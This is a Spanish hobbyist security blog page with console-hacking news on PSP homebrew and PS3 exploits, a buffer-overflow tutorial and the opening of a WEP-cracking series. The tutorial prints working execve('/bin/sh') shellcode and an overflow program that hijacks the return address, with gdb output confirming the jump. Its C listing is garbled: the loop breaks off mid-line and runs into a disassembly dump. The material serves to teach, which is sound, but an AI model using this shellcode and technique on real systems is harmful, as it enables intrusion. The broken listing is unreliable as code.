Planeta-Consolas.com
21Jun/100

HBL Beta r90, homebrew en firmware oficial

La verdad es que la satisfacción que uno siente cuando ha cumplido un proyecto es díficil de describir. ¿Quién me hubiera dicho a mí que iba a estar ejecutando homebrews en una PSPGo con un loader hecho por mí mismo? Para parafrasear a un ídolo de mi juventud: "me encanta que las cosas salgan bien". Vaya gilipollas debí de ser de adolescente.

Más información sobre HBL: http://advancedpsp.tk/foro_es/viewtopic.php?f=39&t=190

Homebrews probados y que corren en HBL: http://advancedpsp.tk/foro_es/viewtopic.php?f=41&t=425

Descarga del HBL:

http://code.google.com/p/valentine-hbl/downloads/list
http://advancedpsp.tk/foro_es/viewtopic.php?f=39&t=311
http://wololo.net/wagic/hbl/

Ah, y os recuerdo que este proyecto es GPL, así que tenéis los fuentes a vuestra disposición ;)
21Jun/100

Ejecutando scripts caseros en PS3

Un equipo denominado StreetskaterFU (SKFU) ha conseguido ejecutar scripts caseros en PS3 desde el pendrive USB, y han liberado un PoC, que al parecer funciona en todas las PS3. Por ahora hacen una llamada a la calma, ya que aún están probando los límites de este agujero.

Para más información, os enlazo al blog en cuestión: http://streetskaterfu.blogspot.com/2010/06/skfus-exploit-loader-poc-01.html
27Ene/100

La PS3 ha caído… en parte

GeoHot, el culpable de hacer que la seguridad del iPhone cayera, ahora ha conseguido un acceso total al hipervisor de la PS3, con acceso total a toda la RAM. Queda por saber si va a ser posible parchear la RAM para inyectar código propio. Lo probaría, pero no tengo PS3 xD

Blod de GeoHot sobre PS3

[FADB] 9. Ejecución de una cadena de caracteres mediante desbordamiento de buffer

FUNDAMENTOS DE LOS ATAQUES POR DESBORDAMIENTO DE BUFFER

¿Cómo obtenemos el mismo resultado utilizando la técnica del desbordamiento de buffer? Podemos crear un array que contenga varias veces la dirección de la cadena de caracteres ejecutable y copiarlo a un buffer más pequeño, desbordándolo y con suerte sobreescribiendo la dirección de retorno en la pila. Echémosle un vistazo al siguiente código en C, llamado prueba5.c:

char str[50];
void main()
{
char *code= // 26 bytes
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x2f\x73\x68\x00" // pushl $0x68732f
"\x68\x2f\x62\x69\x6e" // pushl $0x6e69622f
"\x89\xe3" // movl %esp,%ebx
"\x50" // pushl %eax
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\x31\xd2" // xor %edx,%edx
"\xb0\x0b" // movb $0x0b,%al
"\xcd\x80" // int $0x80
;
int i;
char buff[5];
int *p = (int *)str;
for (i = 0; i <>: push %ebp
0x804833d : mov %esp,%ebp
0x804833f : sub $0x38,%esp
0x8048342 : and $0xfffffff0,%esp
0x8048345 : mov $0x0,%eax
0x804834a : sub %eax,%esp
0x804834c : movl $0x80483e8,0xfffffff4(%ebp)
0x8048353 : movl $0x8049540,0xffffffd4(%ebp)
0x804835a : movl $0x0,0xfffffff0(%ebp)
0x8048361 : cmpl $0x31,0xfffffff0(%ebp)
0x8048365 : jle 0x8048369
0x8048367 : jmp 0x8048381
0x8048369 : mov 0xffffffd4(%ebp),%eax
0x804836c : mov %eax,%edx
0x804836e : mov 0xfffffff4(%ebp),%eax
0x8048371 : mov %eax,(%edx)
0x8048373 : lea 0xffffffd4(%ebp),%eax
0x8048376 : addl $0x4,(%eax)
0x8048379 : lea 0xfffffff0(%ebp),%eax
0x804837c : addl $0x4,(%eax)
0x804837f : jmp 0x8048361
0x8048381 : sub $0x8,%esp
0x8048384 : push $0x8049540
0x8048389 : lea 0xffffffd8(%ebp),%eax
0x804838c : push %eax
0x804838d : call 0x8048268
0x8048392 : add $0x10,%esp
0x8048395 : leave
0x8048396 : ret
End of assembler dump.
(gdb)

Creo que el código en C queda suficientemente claro, no vamos a entrar en los detalles en ensamblador. Sin emabargo vamos a poner un punto de interrupción justo antes de RET () para comprobar cuál es la dirección de retorno de main().

(gdb) b *0x8048396
Breakpoint 1 at 0x8048396: file prueba5.c, line 28.
(gdb) r
Starting program: /home/m0s/Programacion/C%2fC++/prueba5
Breakpoint 1, 0x08048396 in main () at prueba5.c:28
(gdb) i r esp
esp 0xbffff80c 0xbffff80c
(gdb) x 0xbffff80c
0xbffff80c: 0x080483e8
(gdb) x 0x080483e8
0x80483e8 <_io_stdin_used+4>: 0x6850c031
(gdb)

Efectivamente salta a nuestra cadena de caracteres maliciosa.

[HWEP] 0.Introducción

HACK WEP

Hola de nuevo a todos. Se ve que he estado bastante con otros blogs por lo movida que está la política en todo el mundo :)

En esta nueva serie intentaré explicar un poco cómo funcionan las redes inalámbricas y sobre todo poner de manifiesto la debilidad criptográfica del protocolo más comúnmente usado, el Wired Equivalent Privacy (Privacidad Equivalente a Cableado, WEP). A pesar de su nombre, el cifrado WEP tiene un defecto en su algoritmo de cifrado (RC4) descubierto por el llamado ataque Fluhrer, Mantin y Shamir (ataque FMS).

Aviso de antemano que, aunque WEP no es del todo seguro, hay escenarios en que no se puede atacar debido a seguridades adicionales (por ejemplo el uso de filtrado de dirección MAC). Tampoco es sencillo si no entendemos el mecanismo por el que funcionan las conexiones inalámbricas y el cifrado en sí, así que prestad especial atención a esa parte de la explicación, es fundamental para saber qué herramientas usar, cuándo y cómo. ¡No me sean script kiddies!

Para las pruebas usaré una distribución de Linux LiveCD (no necesita instalación) orientada a seguridad, BackTrack, disponible en su web. Aseguraos primero de que vuestra tarjeta inalámbrica está soportada por esta distribución (no creo que haya problema en este aspecto) y que soporta el modo monitor (un equivalente al modo promiscuo de las tarjetas ethernet). No voy a discutir cómo arrancar desde un CD ni la utilización a nivel de usuario de la distribución. Iremos directamente al meollo de la cuestión.

Mi consejo es que NO USEN WEP si quieren mantener su conexión inalámbrica segura. WPA ofrece una protección mucho más segura y es el estándar en la actualidad, aunque muchos puntos de acceso aún vienen configrados con WEP por defecto.